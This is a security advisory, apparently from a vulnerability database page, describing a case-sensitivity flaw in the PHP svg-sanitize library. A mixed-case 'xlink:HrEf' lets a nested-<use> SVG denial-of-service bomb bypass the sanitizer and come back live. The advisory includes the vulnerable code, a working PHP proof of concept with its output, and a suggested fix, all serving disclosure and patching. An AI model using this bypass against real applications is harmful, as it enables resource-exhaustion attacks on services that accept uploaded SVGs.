Mittel

svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences

  • Veröffentlicht: 08.10.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

php
$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
    $useElements = $this->xPath->query(
        $useNodeName . '[@href or @xlink:href]',
        $subject->getElement()
    );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

php
// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
    && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
    $element->removeAttribute($attribute->nodeName);
    $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

php
<?php
spl_autoload_register(function ($class) {
    $p = 'enshrined\\svgSanitize\\';
    if (strpos($class, $p) !== 0) return;
    $rel = str_replace('\\', '/', substr($class, strlen($p)));
    $f = __DIR__ . '/svgsan/src/' . $rel . '.php';
    if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut  = str_replace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) {
    $s = new \enshrined\svgSanitize\Sanitizer();
    $s->removeRemoteReferences(true);
    $out = $s->sanitize($input);
    echo "[$label]\n";
    echo "  output <use  count : ", substr_count($out, '<use '), "\n";
    echo "  output xlink:href  : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
    echo "  output xlink:HrEf  : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);

Observed on PHP 8.5.9:

orig use count: 201
mutated input has xlink:HrEf: YES

[canonical xlink:href (control)]
  output <use  count : 0
  output xlink:href  : NO
  output xlink:HrEf  : NO
[mixed-case xlink:HrEf (attack)]
  output <use  count : 201
  output xlink:href  : YES
  output xlink:HrEf  : NO

201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.

Suggested fix

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket enshrined/svg-sanitize < 1.0.0 1.0.0

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-178, CWE-400
Plattform
Composer
Paket
enshrined/svg-sanitize
Veröffentlicht
08.10.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-m9xh-6747-9r6f - CC BY 4.0

Schwachstellenhistorie: enshrined/svg-sanitize

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
8
Erste → letzte
01.2020 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 6

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 0
  3. 2022: 1
  4. 2023: 1
  5. 2024: 0
  6. 2025: 1
  7. 2026: 3
  1. svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences dieser Eintrag
    Mittel · 6.5 CVE-2026-107381 < 1.0.0 1.0.0
  2. Mittel CVE-2025-55166 < 0.22.0 0.22.0
  3. Hoch · 7.2 CVE-2023-28426 < 0.16.0 0.16.0
  4. Mittel · 6.1 CVE-2019-10772 < 0.13.1 0.13.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.